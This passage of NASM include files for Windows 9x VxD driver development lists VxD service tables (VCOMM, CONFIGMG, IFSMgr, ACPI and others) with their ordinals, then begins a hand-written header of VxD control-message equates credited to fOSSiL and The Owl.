0x000e ord+ VCOMM_Service _VCOMM_PurgeComm ; 0x000f ord+ VCOMM_Service _VCOMM_SetCommEventMask ; 0x0010 ord+ VCOMM_Service _VCOMM_GetCommEventMask ; 0x0011 ord+ VCOMM_Service _VCOMM_WriteComm ; 0x0012 ord+ VCOMM_Service _VCOMM_ReadComm ; 0x0013 ord+ VCOMM_Service _VCOMM_EnableCommNotification ; 0x0014 ord+ VCOMM_Service _VCOMM_GetLastError ; 0x0015 ord+ VCOMM_Service _VCOMM_Steal_Port ; 0x0016 ord+ VCOMM_Service _VCOMM_SetReadCallBack ; 0x0017 ord+ VCOMM_Service _VCOMM_SetWriteCallBack ; 0x0018 ord+ VCOMM_Service _VCOMM_Add_Port ; 0x0019 ord+ VCOMM_Service _VCOMM_GetSetCommTimeouts ; 0x001a ord+ VCOMM_Service _VCOMM_SetWriteRequest ; 0x001b ord+ VCOMM_Service _VCOMM_SetReadRequest ; 0x001c ord+ VCOMM_Service _VCOMM_Dequeue_Request ; 0x001d ord+ VCOMM_Service _VCOMM_Enumerate_DevNodes ; 0x001e ord+ VCOMM_Service VCOMM_Map_Win32DCB_To_Ring0 ; 0x001f ord+ VCOMM_Service VCOMM_Map_Ring0DCB_To_Win32 ; 0x0020 ord+ VCOMM_Service _VCOMM_Get_Contention_Handler ; 0x0021 ord+ VCOMM_Service _VCOMM_Map_Name_To_Resource ; 0x0022 ord+ VCOMM_Service _VCOMM_PowerOnOffComm ; 0x0023 ord+End_Service_Table VCOMM++Begin_Service_Table SPOOLER ; 0x002c+End_Service_Table SPOOLER++Begin_Service_Table WIN32S ; 0x002d+End_Service_Table WIN32S++Begin_Service_Table DEBUGCMD ; 0x002e+End_Service_Table DEBUGCMD++Begin_Service_Table CONFIGMG ; 0x0033+ CONFIGMG_Service _CONFIGMG_Get_Version ; 0x0000 ord+ CONFIGMG_Service _CONFIGMG_Initialize ; 0x0001 ord+ CONFIGMG_Service _CONFIGMG_Locate_DevNode ; 0x0002 ord+ CONFIGMG_Service _CONFIGMG_Get_Parent ; 0x0003 ord+ CONFIGMG_Service _CONFIGMG_Get_Child ; 0x0004 ord+ CONFIGMG_Service _CONFIGMG_Get_Sibling ; 0x0005 ord+ CONFIGMG_Service _CONFIGMG_Get_Device_ID_Size ; 0x0006 ord+ CONFIGMG_Service _CONFIGMG_Get_Device_ID ; 0x0007 ord+ CONFIGMG_Service _CONFIGMG_Get_Depth ; 0x0008 ord+ CONFIGMG_Service _CONFIGMG_Get_Private_DWord ; 0x0009 ord+ CONFIGMG_Service _CONFIGMG_Set_Private_DWord ; 0x000a ord+ CONFIGMG_Service _CONFIGMG_Create_DevNode ; 0x000b ord+ CONFIGMG_Service _CONFIGMG_Query_Remove_SubTree ; 0x000c ord+ CONFIGMG_Service _CONFIGMG_Remove_SubTree ; 0x000d ord+ CONFIGMG_Service _CONFIGMG_Register_Device_Driver ; 0x000e ord+ CONFIGMG_Service _CONFIGMG_Register_Enumerator ; 0x000f ord+ CONFIGMG_Service _CONFIGMG_Register_Arbitrator ; 0x0010 ord+ CONFIGMG_Service _CONFIGMG_Deregister_Arbitrator ; 0x0011 ord+ CONFIGMG_Service _CONFIGMG_Query_Arbitrator_Free_Size ; 0x0012 ord+ CONFIGMG_Service _CONFIGMG_Query_Arbitrator_Free_Data ; 0x0013 ord+ CONFIGMG_Service _CONFIGMG_Sort_NodeList ; 0x0014 ord+ CONFIGMG_Service _CONFIGMG_Yield ; 0x0015 ord+ CONFIGMG_Service _CONFIGMG_Lock ; 0x0016 ord+ CONFIGMG_Service _CONFIGMG_Unlock ; 0x0017 ord+ CONFIGMG_Service _CONFIGMG_Add_Empty_Log_Conf ; 0x0018 ord+ CONFIGMG_Service _CONFIGMG_Free_Log_Conf ; 0x0019 ord+ CONFIGMG_Service _CONFIGMG_Get_First_Log_Conf ; 0x001a ord+ CONFIGMG_Service _CONFIGMG_Get_Next_Log_Conf ; 0x001b ord+ CONFIGMG_Service _CONFIGMG_Add_Res_Des ; 0x001c ord+ CONFIGMG_Service _CONFIGMG_Modify_Res_Des ; 0x001d ord+ CONFIGMG_Service _CONFIGMG_Free_Res_Des ; 0x001e ord+ CONFIGMG_Service _CONFIGMG_Get_Next_Res_Des ; 0x001f ord+ CONFIGMG_Service _CONFIGMG_Get_Performance_Info ; 0x0020 ord+ CONFIGMG_Service _CONFIGMG_Get_Res_Des_Data_Size ; 0x0021 ord+ CONFIGMG_Service _CONFIGMG_Get_Res_Des_Data ; 0x0022 ord+ CONFIGMG_Service _CONFIGMG_Process_Events_Now ; 0x0023 ord+ CONFIGMG_Service _CONFIGMG_Create_Range_List ; 0x0024 ord+ CONFIGMG_Service _CONFIGMG_Add_Range ; 0x0025 ord+ CONFIGMG_Service _CONFIGMG_Delete_Range ; 0x0026 ord+ CONFIGMG_Service _CONFIGMG_Test_Range_Available ; 0x0027 ord+ CONFIGMG_Service _CONFIGMG_Dup_Range_List ; 0x0028 ord+ CONFIGMG_Service _CONFIGMG_Free_Range_List ; 0x0029 ord+ CONFIGMG_Service _CONFIGMG_Invert_Range_List ; 0x002a ord+ CONFIGMG_Service _CONFIGMG_Intersect_Range_List ; 0x002b ord+ CONFIGMG_Service _CONFIGMG_First_Range ; 0x002c ord+ CONFIGMG_Service _CONFIGMG_Next_Range ; 0x002d ord+ CONFIGMG_Service _CONFIGMG_Dump_Range_List ; 0x002e ord+ CONFIGMG_Service _CONFIGMG_Load_DLVxDs ; 0x002f ord+ CONFIGMG_Service _CONFIGMG_Get_DDBs ; 0x0030 ord+ CONFIGMG_Service _CONFIGMG_Get_CRC_CheckSum ; 0x0031 ord+ CONFIGMG_Service _CONFIGMG_Register_DevLoader ; 0x0032 ord+ CONFIGMG_Service _CONFIGMG_Reenumerate_DevNode ; 0x0033 ord+ CONFIGMG_Service _CONFIGMG_Setup_DevNode ; 0x0034 ord+ CONFIGMG_Service _CONFIGMG_Reset_Children_Marks ; 0x0035 ord+ CONFIGMG_Service _CONFIGMG_Get_DevNode_Status ; 0x0036 ord+ CONFIGMG_Service _CONFIGMG_Remove_Unmarked_Children ; 0x0037 ord+ CONFIGMG_Service _CONFIGMG_ISAPNP_To_CM ; 0x0038 ord+ CONFIGMG_Service _CONFIGMG_CallBack_Device_Driver ; 0x0039 ord+ CONFIGMG_Service _CONFIGMG_CallBack_Enumerator ; 0x003a ord+ CONFIGMG_Service _CONFIGMG_Get_Alloc_Log_Conf ; 0x003b ord+ CONFIGMG_Service _CONFIGMG_Get_DevNode_Key_Size ; 0x003c ord+ CONFIGMG_Service _CONFIGMG_Get_DevNode_Key ; 0x003d ord+ CONFIGMG_Service _CONFIGMG_Read_Registry_Value ; 0x003e ord+ CONFIGMG_Service _CONFIGMG_Write_Registry_Value ; 0x003f ord+ CONFIGMG_Service _CONFIGMG_Disable_DevNode ; 0x0040 ord+ CONFIGMG_Service _CONFIGMG_Enable_DevNode ; 0x0041 ord+ CONFIGMG_Service _CONFIGMG_Move_DevNode ; 0x0042 ord+ CONFIGMG_Service _CONFIGMG_Set_Bus_Info ; 0x0043 ord+ CONFIGMG_Service _CONFIGMG_Get_Bus_Info ; 0x0044 ord+ CONFIGMG_Service _CONFIGMG_Set_HW_Prof ; 0x0045 ord+ CONFIGMG_Service _CONFIGMG_Recompute_HW_Prof ; 0x0046 ord+ CONFIGMG_Service _CONFIGMG_Query_Change_HW_Prof ; 0x0047 ord+ CONFIGMG_Service _CONFIGMG_Get_Device_Driver_Private_DWord ; 0x0048 ord+ CONFIGMG_Service _CONFIGMG_Set_Device_Driver_Private_DWord ; 0x0049 ord+ CONFIGMG_Service _CONFIGMG_Get_HW_Prof_Flags ; 0x004a ord+ CONFIGMG_Service _CONFIGMG_Set_HW_Prof_Flags ; 0x004b ord+ CONFIGMG_Service _CONFIGMG_Read_Registry_Log_Confs ; 0x004c ord+ CONFIGMG_Service _CONFIGMG_Run_Detection ; 0x004d ord+ CONFIGMG_Service _CONFIGMG_Call_At_Appy_Time ; 0x004e ord+ CONFIGMG_Service _CONFIGMG_Fail_Change_HW_Prof ; 0x004f ord+ CONFIGMG_Service _CONFIGMG_Set_Private_Problem ; 0x0050 ord+ CONFIGMG_Service _CONFIGMG_Debug_DevNode ; 0x0051 ord+ CONFIGMG_Service _CONFIGMG_Get_Hardware_Profile_Info ; 0x0052 ord+ CONFIGMG_Service _CONFIGMG_Register_Enumerator_Function ; 0x0053 ord+ CONFIGMG_Service _CONFIGMG_Call_Enumerator_Function ; 0x0054 ord+ CONFIGMG_Service _CONFIGMG_Add_ID ; 0x0055 ord+ CONFIGMG_Service _CONFIGMG_Find_Range ; 0x0056 ord+ CONFIGMG_Service _CONFIGMG_Get_Global_State ; 0x0057 ord+ CONFIGMG_Service _CONFIGMG_Broadcast_Device_Change_Message ; 0x0058 ord+ CONFIGMG_Service _CONFIGMG_Call_DevNode_Handler ; 0x0059 ord+ CONFIGMG_Service _CONFIGMG_Remove_Reinsert_All ; 0x005a ord+ CONFIGMG_Service _CONFIGMG_Change_DevNode_Status ; 0x005b ord+ CONFIGMG_Service _CONFIGMG_Reprocess_DevNode ; 0x005c ord+ CONFIGMG_Service _CONFIGMG_Assert_Structure ; 0x005d ord+ CONFIGMG_Service _CONFIGMG_Discard_Boot_Log_Conf ; 0x005e ord+ CONFIGMG_Service _CONFIGMG_Set_Dependent_DevNode ; 0x005f ord+ CONFIGMG_Service _CONFIGMG_Get_Dependent_DevNode ; 0x0060 ord+ CONFIGMG_Service _CONFIGMG_Refilter_DevNode ; 0x0061 ord+ CONFIGMG_Service _CONFIGMG_Merge_Range_List ; 0x0062 ord+ CONFIGMG_Service _CONFIGMG_Substract_Range_List ; 0x0063 ord+ CONFIGMG_Service _CONFIGMG_Set_DevNode_PowerState ; 0x0064 ord+ CONFIGMG_Service _CONFIGMG_Get_DevNode_PowerState ; 0x0065 ord+ CONFIGMG_Service _CONFIGMG_Set_DevNode_PowerCapabilities ; 0x0066 ord+ CONFIGMG_Service _CONFIGMG_Get_DevNode_PowerCapabilities ; 0x0067 ord+ CONFIGMG_Service _CONFIGMG_Read_Range_List ; 0x0068 ord+ CONFIGMG_Service _CONFIGMG_Write_Range_List ; 0x0069 ord+ CONFIGMG_Service _CONFIGMG_Get_Set_Log_Conf_Priority ; 0x006a ord+ CONFIGMG_Service _CONFIGMG_Support_Share_Irq ; 0x006b ord+ CONFIGMG_Service _CONFIGMG_Get_Parent_Structure ; 0x006c ord+ CONFIGMG_Service _CONFIGMG_Register_DevNode_For_Idle_Detection ; 0x006d ord+ CONFIGMG_Service _CONFIGMG_CM_To_ISAPNP ; 0x006e ord+ CONFIGMG_Service _CONFIGMG_Get_DevNode_Handler ; 0x006f ord+ CONFIGMG_Service _CONFIGMG_Detect_Resource_Conflict ; 0x0070 ord+ CONFIGMG_Service _CONFIGMG_Get_Device_Interface_List ; 0x0071 ord+ CONFIGMG_Service _CONFIGMG_Get_Device_Interface_List_Size ; 0x0072 ord+ CONFIGMG_Service _CONFIGMG_Get_Conflict_Info ; 0x0073 ord+ CONFIGMG_Service _CONFIGMG_Add_Remove_DevNode_Property ; 0x0074 ord+ CONFIGMG_Service _CONFIGMG_CallBack_At_Appy_Time ; 0x0075 ord+ CONFIGMG_Service _CONFIGMG_Register_Device_Interface ; 0x0076 ord+ CONFIGMG_Service _CONFIGMG_System_Device_Power_State_Mapping ; 0x0077 ord+ CONFIGMG_Service _CONFIGMG_Get_Arbitrator_Info ; 0x0078 ord+ CONFIGMG_Service _CONFIGMG_Waking_Up_From_DevNode ; 0x0079 ord+ CONFIGMG_Service _CONFIGMG_Set_DevNode_Problem ; 0x007a ord+ CONFIGMG_Service _CONFIGMG_Get_Device_Interface_Alias ; 0x007b ord+End_Service_Table CONFIGMG++Begin_Service_Table DWCFGMG ; 0x0034+End_Service_Table DWCFGMG++Begin_Service_Table SCSIPORT ; 0x0035+End_Service_Table SCSIPORT++Begin_Service_Table VFBACKUP ; 0x0036+ VFBACKUP_Service VFBACKUP_Get_Version ; 0x0000 ord+ VFBACKUP_Service VFBACKUP_Lock_NEC ; 0x0001 ord+ VFBACKUP_Service VFBACKUP_UnLock_NEC ; 0x0002 ord+ VFBACKUP_Service VFBACKUP_Register_NEC ; 0x0003 ord+ VFBACKUP_Service VFBACKUP_Register_VFD ; 0x0004 ord+ VFBACKUP_Service VFBACKUP_Lock_All_Ports ; 0x0005 ord+ VFBACKUP_Service _VFBACKUP_Set_Port_Mask ; 0x0006 ord+ VFBACKUP_Service _VFBACKUP_Register_Floppy ; 0x0007 ord+ VFBACKUP_Service _VFBACKUP_Remove_Floppy ; 0x0008 ord+ VFBACKUP_Service VFBACKUP_UnRegister_NEC ; 0x0009 ord+End_Service_Table VFBACKUP++Begin_Service_Table ENABLE ; 0x0037+ ENABLE_Service VMINI_GetVersion ; 0x0000 ord+ ENABLE_Service VMINI_Update ; 0x0001 ord+ ENABLE_Service VMINI_Status ; 0x0002 ord+ ENABLE_Service VMINI_DisplayError ; 0x0003 ord+ ENABLE_Service VMINI_SetTimeStamp ; 0x0004 ord+ ENABLE_Service VMINI_Siren ; 0x0005 ord+ ENABLE_Service VMINI_RegisterAccess ; 0x0006 ord+ ENABLE_Service VMINI_GetData ; 0x0007 ord+ ENABLE_Service VMINI_ShutDownItem ; 0x0008 ord+ ENABLE_Service VMINI_RegisterSK ; 0x0009 ord+End_Service_Table ENABLE++Begin_Service_Table VCOND ; 0x0038+ VCOND_Service VCOND_Get_Version ; 0x0000 ord+ VCOND_Service VCOND_Launch_ConApp_Inherited ; 0x0001 ord+ VCOND_Service VCOND_Get_ConsoleInfo ; 0x0002 ord+ VCOND_Service VCOND_GrbRepaintRect ; 0x0003 ord+ VCOND_Service VCOND_GrbSetCursorPosition ; 0x0004 ord+ VCOND_Service VCOND_GrbNotifyWOA ; 0x0005 ord+End_Service_Table VCOND++Begin_Service_Table ISAPNP ; 0x003c+End_Service_Table ISAPNP++Begin_Service_Table BIOS ; 0x003d+End_Service_Table BIOS++Begin_Service_Table IFSMgr ; 0x0040+ IFSMgr_Service IFSMgr_Get_Version ; 0x0000 ord+ IFSMgr_Service IFSMgr_RegisterMount ; 0x0001 ord+ IFSMgr_Service IFSMgr_RegisterNet ; 0x0002 ord+ IFSMgr_Service IFSMgr_RegisterMailSlot ; 0x0003 ord+ IFSMgr_Service IFSMgr_Attach ; 0x0004 ord+ IFSMgr_Service IFSMgr_Detach ; 0x0005 ord+ IFSMgr_Service IFSMgr_Get_NetTime ; 0x0006 ord+ IFSMgr_Service IFSMgr_Get_DOSTime ; 0x0007 ord+ IFSMgr_Service IFSMgr_SetupConnection ; 0x0008 ord+ IFSMgr_Service IFSMgr_DerefConnection ; 0x0009 ord+ IFSMgr_Service IFSMgr_ServerDOSCall ; 0x000a ord+ IFSMgr_Service IFSMgr_CompleteAsync ; 0x000b ord+ IFSMgr_Service IFSMgr_RegisterHeap ; 0x000c ord+ IFSMgr_Service IFSMgr_GetHeap ; 0x000d ord+ IFSMgr_Service IFSMgr_RetHeap ; 0x000e ord+ IFSMgr_Service IFSMgr_CheckHeap ; 0x000f ord+ IFSMgr_Service IFSMgr_CheckHeapItem ; 0x0010 ord+ IFSMgr_Service IFSMgr_FillHeapSpare ; 0x0011 ord+ IFSMgr_Service IFSMgr_Block ; 0x0012 ord+ IFSMgr_Service IFSMgr_Wakeup ; 0x0013 ord+ IFSMgr_Service IFSMgr_Yield ; 0x0014 ord+ IFSMgr_Service IFSMgr_SchedEvent ; 0x0015 ord+ IFSMgr_Service IFSMgr_QueueEvent ; 0x0016 ord+ IFSMgr_Service IFSMgr_KillEvent ; 0x0017 ord+ IFSMgr_Service IFSMgr_FreeIOReq ; 0x0018 ord+ IFSMgr_Service IFSMgr_MakeMailSlot ; 0x0019 ord+ IFSMgr_Service IFSMgr_DeleteMailSlot ; 0x001a ord+ IFSMgr_Service IFSMgr_WriteMailSlot ; 0x001b ord+ IFSMgr_Service IFSMgr_PopUp ; 0x001c ord+ IFSMgr_Service IFSMgr_printf ; 0x001d ord+ IFSMgr_Service IFSMgr_AssertFailed ; 0x001e ord+ IFSMgr_Service IFSMgr_LogEntry ; 0x001f ord+ IFSMgr_Service IFSMgr_DebugMenu ; 0x0020 ord+ IFSMgr_Service IFSMgr_DebugVars ; 0x0021 ord+ IFSMgr_Service IFSMgr_GetDebugString ; 0x0022 ord+ IFSMgr_Service IFSMgr_GetDebugHexNum ; 0x0023 ord+ IFSMgr_Service IFSMgr_NetFunction ; 0x0024 ord+ IFSMgr_Service IFSMgr_DoDelAllUses ; 0x0025 ord+ IFSMgr_Service IFSMgr_SetErrString ; 0x0026 ord+ IFSMgr_Service IFSMgr_GetErrString ; 0x0027 ord+ IFSMgr_Service IFSMgr_SetReqHook ; 0x0028 ord+ IFSMgr_Service IFSMgr_SetPathHook ; 0x0029 ord+ IFSMgr_Service IFSMgr_UseAdd ; 0x002a ord+ IFSMgr_Service IFSMgr_UseDel ; 0x002b ord+ IFSMgr_Service IFSMgr_InitUseAdd ; 0x002c ord+ IFSMgr_Service IFSMgr_ChangeDir ; 0x002d ord+ IFSMgr_Service IFSMgr_DelAllUses ; 0x002e ord+ IFSMgr_Service IFSMgr_CDROM_Attach ; 0x002f ord+ IFSMgr_Service IFSMgr_CDROM_Detach ; 0x0030 ord+ IFSMgr_Service IFSMgr_Win32DupHandle ; 0x0031 ord+ IFSMgr_Service IFSMgr_Ring0_FileIO ; 0x0032 ord+ IFSMgr_Service IFSMgr_Win32_Get_Ring0_Handle ; 0x0033 ord+ IFSMgr_Service IFSMgr_Get_Drive_Info ; 0x0034 ord+ IFSMgr_Service IFSMgr_Ring0GetDriveInfo ; 0x0035 ord+ IFSMgr_Service IFSMgr_BlockNoEvents ; 0x0036 ord+ IFSMgr_Service IFSMgr_NetToDosTime ; 0x0037 ord+ IFSMgr_Service IFSMgr_DosToNetTime ; 0x0038 ord+ IFSMgr_Service IFSMgr_DosToWin32Time ; 0x0039 ord+ IFSMgr_Service IFSMgr_Win32ToDosTime ; 0x003a ord+ IFSMgr_Service IFSMgr_NetToWin32Time ; 0x003b ord+ IFSMgr_Service IFSMgr_Win32ToNetTime ; 0x003c ord+ IFSMgr_Service IFSMgr_MetaMatch ; 0x003d ord+ IFSMgr_Service IFSMgr_TransMatch ; 0x003e ord+ IFSMgr_Service IFSMgr_CallProvider ; 0x003f ord+ IFSMgr_Service UniToBCS ; 0x0040 ord+ IFSMgr_Service UniToBCSPath ; 0x0041 ord+ IFSMgr_Service BCSToUni ; 0x0042 ord+ IFSMgr_Service UniToUpper ; 0x0043 ord+ IFSMgr_Service UniCharToOEM ; 0x0044 ord+ IFSMgr_Service CreateBasis ; 0x0045 ord+ IFSMgr_Service MatchBasisName ; 0x0046 ord+ IFSMgr_Service AppendBasisTail ; 0x0047 ord+ IFSMgr_Service FcbToShort ; 0x0048 ord+ IFSMgr_Service ShortToFcb ; 0x0049 ord+ IFSMgr_Service IFSMgr_ParsePath ; 0x004a ord+ IFSMgr_Service Query_PhysLock ; 0x004b ord+ IFSMgr_Service _VolFlush ; 0x004c ord+ IFSMgr_Service NotifyVolumeArrival ; 0x004d ord+ IFSMgr_Service NotifyVolumeRemoval ; 0x004e ord+ IFSMgr_Service QueryVolumeRemoval ; 0x004f ord+ IFSMgr_Service IFSMgr_FSDUnmountCFSD ; 0x0050 ord+ IFSMgr_Service IFSMgr_GetConversionTablePtrs ; 0x0051 ord+ IFSMgr_Service IFSMgr_CheckAccessConflict ; 0x0052 ord+ IFSMgr_Service IFSMgr_LockFile ; 0x0053 ord+ IFSMgr_Service IFSMgr_UnlockFile ; 0x0054 ord+ IFSMgr_Service IFSMgr_RemoveLocks ; 0x0055 ord+ IFSMgr_Service IFSMgr_CheckLocks ; 0x0056 ord+ IFSMgr_Service IFSMgr_CountLocks ; 0x0057 ord+ IFSMgr_Service IFSMgr_ReassignLockFileInst ; 0x0058 ord+ IFSMgr_Service IFSMgr_UnassignLockList ; 0x0059 ord+ IFSMgr_Service IFSMgr_MountChildVolume ; 0x005a ord+ IFSMgr_Service IFSMgr_UnmountChildVolume ; 0x005b ord+ IFSMgr_Service IFSMgr_SwapDrives ; 0x005c ord+ IFSMgr_Service IFSMgr_FSDMapFHtoIOREQ ; 0x005d ord+ IFSMgr_Service IFSMgr_FSDParsePath ; 0x005e ord+ IFSMgr_Service IFSMgr_FSDAttachSFT ; 0x005f ord+ IFSMgr_Service IFSMgr_GetTimeZoneBias ; 0x0060 ord+ IFSMgr_Service IFSMgr_PNPEvent ; 0x0061 ord+ IFSMgr_Service IFSMgr_RegisterCFSD ; 0x0062 ord+ IFSMgr_Service IFSMgr_Win32MapExtendedHandleToSFT ; 0x0063 ord+ IFSMgr_Service IFSMgr_DbgSetFileHandleLimit ; 0x0064 ord+ IFSMgr_Service IFSMgr_Win32MapSFTToExtendedHandle ; 0x0065 ord+ IFSMgr_Service IFSMgr_FSDGetCurrentDrive ; 0x0066 ord+ IFSMgr_Service IFSMgr_InstallFileSystemApiHook ; 0x0067 ord+ IFSMgr_Service IFSMgr_RemoveFileSystemApiHook ; 0x0068 ord+ IFSMgr_Service IFSMgr_RunScheduledEvents ; 0x0069 ord+ IFSMgr_Service IFSMgr_CheckDelResource ; 0x006a ord+ IFSMgr_Service IFSMgr_Win32GetVMCurdir ; 0x006b ord+ IFSMgr_Service IFSMgr_SetupFailedConnection ; 0x006c ord+ IFSMgr_Service _GetMappedErr ; 0x006d ord+ IFSMgr_Service ShortToLossyFcb ; 0x006e ord+ IFSMgr_Service IFSMgr_GetLockState ; 0x006f ord+ IFSMgr_Service BcsToBcs ; 0x0070 ord+ IFSMgr_Service IFSMgr_SetLoopback ; 0x0071 ord+ IFSMgr_Service IFSMgr_ClearLoopback ; 0x0072 ord+ IFSMgr_Service IFSMgr_ParseOneElement ; 0x0073 ord+ IFSMgr_Service BcsToBcsUpper ; 0x0074 ord+ IFSMgr_Service IFSMgr_DeregisterFSD ; 0x0075 ord+ IFSMgr_Service IFSMgr_RegisterFSDWithPriority ; 0x0076 ord+ IFSMgr_Service IFSMgr_Get_DOSTimeRounded ; 0x0077 ord+ IFSMgr_Service _LongToFcbOem ; 0x0078 ord+ IFSMgr_Service IFSMgr_GetRing0FileHandle ; 0x0079 ord+ IFSMgr_Service IFSMgr_UpdateTimezoneInfo ; 0x007a ord+ IFSMgr_Service IFSMgr_Ring0IsCPSingleByte ; 0x007b ord+End_Service_Table IFSMgr++Begin_Service_Table VCDFSD ; 0x0041+End_Service_Table VCDFSD++Begin_Service_Table MRCI2 ; 0x0042+End_Service_Table MRCI2++Begin_Service_Table PCI ; 0x0043+ PCI_Service _PCI_Get_Version ; 0x0000 ord+ PCI_Service _PCI_Read_Config ; 0x0001 ord+ PCI_Service _PCI_Write_Config ; 0x0002 ord+ PCI_Service _PCI_Lock_Unlock ; 0x0003 ord+End_Service_Table PCI++Begin_Service_Table PELOADER ; 0x0044+End_Service_Table PELOADER++Begin_Service_Table EISA ; 0x0045+End_Service_Table EISA++Begin_Service_Table DRAGCLI ; 0x0046+End_Service_Table DRAGCLI++Begin_Service_Table DRAGSRV ; 0x0047+End_Service_Table DRAGSRV++Begin_Service_Table PERF ; 0x0048+End_Service_Table PERF++Begin_Service_Table AWREDIR ; 0x0049+End_Service_Table AWREDIR++Begin_Service_Table DDS ; 0x004a+End_Service_Table DDS++Begin_Service_Table NTKERN ; 0x004b+ NTKERN_Service _NTKERN_Get_Version ; 0x0000 ord+ NTKERN_Service _NtKernCreateFile ; 0x0001 ord+ NTKERN_Service _NtKernClose ; 0x0002 ord+ NTKERN_Service _NtKernReadFile ; 0x0003 ord+ NTKERN_Service _NtKernWriteFile ; 0x0004 ord+ NTKERN_Service _NtKernDeviceIoControl ; 0x0005 ord+ NTKERN_Service _NtKernGetWorkerThread ; 0x0006 ord+ NTKERN_Service _NtKernLoadDriver ; 0x0007 ord+ NTKERN_Service _NtKernQueueWorkItem ; 0x0008 ord+ NTKERN_Service _NtKernPhysicalDeviceObjectToDevNode ; 0x0009 ord+ NTKERN_Service _NtKernSetPhysicalCacheTypeRange ; 0x000a ord+ NTKERN_Service _NtKernWin9XLoadDriver ; 0x000b ord+ NTKERN_Service _NtKernCancelIoFile ; 0x000c ord+ NTKERN_Service _NtKernGetVPICDHandleFromInterruptObj ; 0x000d ord+ NTKERN_Service _NtKernInternalDeviceIoControl ; 0x000e ord+End_Service_Table NTKERN++Begin_Service_Table VDOSKEYD ; 0x004b+End_Service_Table VDOSKEYD++Begin_Service_Table ACPI ; 0x004c+ ACPI_Service ACPI_GetVersion ; 0x0000 ord+ ACPI_Service _ACPI_SetSystemPowerState ; 0x0001 ord+ ACPI_Service _ACPI_SetTimingMode ; 0x0002 ord+ ACPI_Service _ACPI_RegisterOpRegionCookedHandler ; 0x0003 ord+ ACPI_Service _ACPI_Set_RTC ; 0x0004 ord+ ACPI_Service _ACPI_GetTimingMode ; 0x0005 ord+ ACPI_Service _ACPI_GetTaskFile ; 0x0006 ord+ ACPI_Service _ACPI_WalkNameSpace ; 0x0007 ord+ ACPI_Service _ACPI_GetObject ; 0x0008 ord+ ACPI_Service _ACPI_NameSpaceToDevNode ; 0x0009 ord+ ACPI_Service _ACPI_DevNodeToNameSpace ; 0x000a ord+ ACPI_Service _ACPI_RunControlMethod ; 0x000b ord+ ACPI_Service _ACPI_PrepareForSleeping ; 0x000c ord+ ACPI_Service _ACPI_PrepareForResume ; 0x000d ord+ ACPI_Service _ACPI_SystemShutdown ; 0x000e ord+ ACPI_Service _ACPI_EvalPackageElement ; 0x000f ord+ ACPI_Service _ACPI_EvalPkgDataElement ; 0x0010 ord+ ACPI_Service _ACPI_FreeDataBuffs ; 0x0011 ord+ ACPI_Service _ACPI_GetRootSystemDescriptorTable ; 0x0012 ord+ ACPI_Service _ACPI_Get_RTC ; 0x0013 ord+ ACPI_Service _ACPI_GetNameSpaceObject ; 0x0014 ord+ ACPI_Service _ACPI_IdentifyDebuggerCommInfo ; 0x0015 ord+ ACPI_Service _ACPI_SetTimingModeEx ; 0x0016 ord+ ACPI_Service _ACPI_GetTimingModeEx ; 0x0017 ord+ ACPI_Service _ACPI_GetIDEPMComplianceLevel ; 0x0018 ord+ ACPI_Service _ACPI_FreeTaskFileBuffer ; 0x0019 ord+ ACPI_Service _ACPI_ResumeComplete ; 0x001a ord+End_Service_Table ACPI++Begin_Service_Table UDF ; 0x004d+End_Service_Table UDF++Begin_Service_Table SMCLIB ; 0x004e+End_Service_Table SMCLIB++Begin_Service_Table ETEN ; 0x0060+End_Service_Table ETEN++Begin_Service_Table CHBIOS ; 0x0061+End_Service_Table CHBIOS++Begin_Service_Table VMSGD ; 0x0062+End_Service_Table VMSGD++Begin_Service_Table VPPID ; 0x0063+End_Service_Table VPPID++Begin_Service_Table VIME ; 0x0064+End_Service_Table VIME++Begin_Service_Table VHBIOSD ; 0x0065+End_Service_Table VHBIOSD++%endif ; INCLUDED_WINDDK_INC__+���������������������������������������������������������������[WINDDK.INC]���+�����������������������������������������������������������������[VXDN.INC]���+;////////////////////////////////////////////////////////////+;// vxdn.inc+;//+;// VxD definitions for NASM+;//+;// Collective effort of fOSSiL and The Owl =)+;//+;// 06-Aug-1999 fOSSiL Initial version+;// 16-Jan-2000 The Owl bunch of structs and equates+;// 16-Jan-2000 fOSSiL Separated Auto-generated stuff from hand-made, better MASM-compat+;// 18-Jan-2000 The Owl modified DDB builder macro++%ifndef INCLUDED_VXDN_INC+%define INCLUDED_VXDN_INC++DDK_VERSION EQU 0x0400+UNDEFINED_DEVICE_ID EQU 0x0000+UNDEFINED_INIT_ORDER EQU 0x80000000++SYS_CRITICAL_INIT EQU 0000H+DEVICE_INIT EQU 0001H+INIT_COMPLETE EQU 0002H+SYS_VM_INIT EQU 0003H+SYS_VM_TERMINATE EQU 0004H+SYSTEM_EXIT EQU 0005H+SYS_CRITICAL_EXIT EQU 0006H+CREATE_VM EQU 0007H+VM_CRITICAL_INIT EQU 0008H+VM_INIT EQU 0009H+VM_TERMINATE EQU 000AH+VM_NOT_EXECUTEABLE EQU 000BH+DESTROY_VM EQU 000CH++VNE_CRASHED_BIT EQU 00H+VNE_CRASHED EQU (1 << VNE_CRASHED_BIT)+VNE_NUKED_BIT EQU 01H+VNE_NUKED EQU (1 << VNE_NUKED_BIT)+VNE_CREATEFAIL_BIT EQU 02H+VNE_CREATEFAIL EQU (1 << VNE_CREATEFAIL_BIT)+VNE_CRINITFAIL_BIT EQU 03H+VNE_CRINITFAIL EQU (1 << VNE_CRINITFAIL_BIT)+VNE_INITFAIL_BIT EQU 04H+VNE_INITFAIL EQU (1 << VNE_INITFAIL_BIT)+VNE_CLOSED_BIT EQU 05H+VNE_CLOSED EQU (1 << VNE_CLOSED_BIT)++VM_SUSPEND EQU 000DH+VM_RESUME EQU 000EH+SET_DEVICE_FOCUS EQU 000FH+BEGIN_MESSAGE_MODE EQU 0010H+END_MESSAGE_MODE EQU 0011H+REBOOT_PROCESSOR EQU 0012H+QUERY_DESTROY EQU 0013H+DEBUG_QUERY EQU 0014H+BEGIN_PM_APP EQU 0015H++BPA_32_BIT EQU 01H+BPA_32_BIT_FLAG EQU 1++END_PM_APP EQU 0016H+DEVICE_REBOOT_NOTIFY EQU 0017H+CRIT_REBOOT_NOTIFY EQU 0018H+CLOSE_VM_NOTIFY EQU 0019H+POWER_EVENT EQU 001AH+SYS_DYNAMIC_DEVICE_INIT EQU 001BH+SYS_DYNAMIC_DEVICE_EXIT EQU 001CH+CREATE_THREAD EQU 001DH+THREAD_INIT EQU 001EH+TERMINATE_THREAD EQU 001FH+THREAD_NOT_EXECUTEABLE EQU 0020H+DESTROY_THREAD EQU 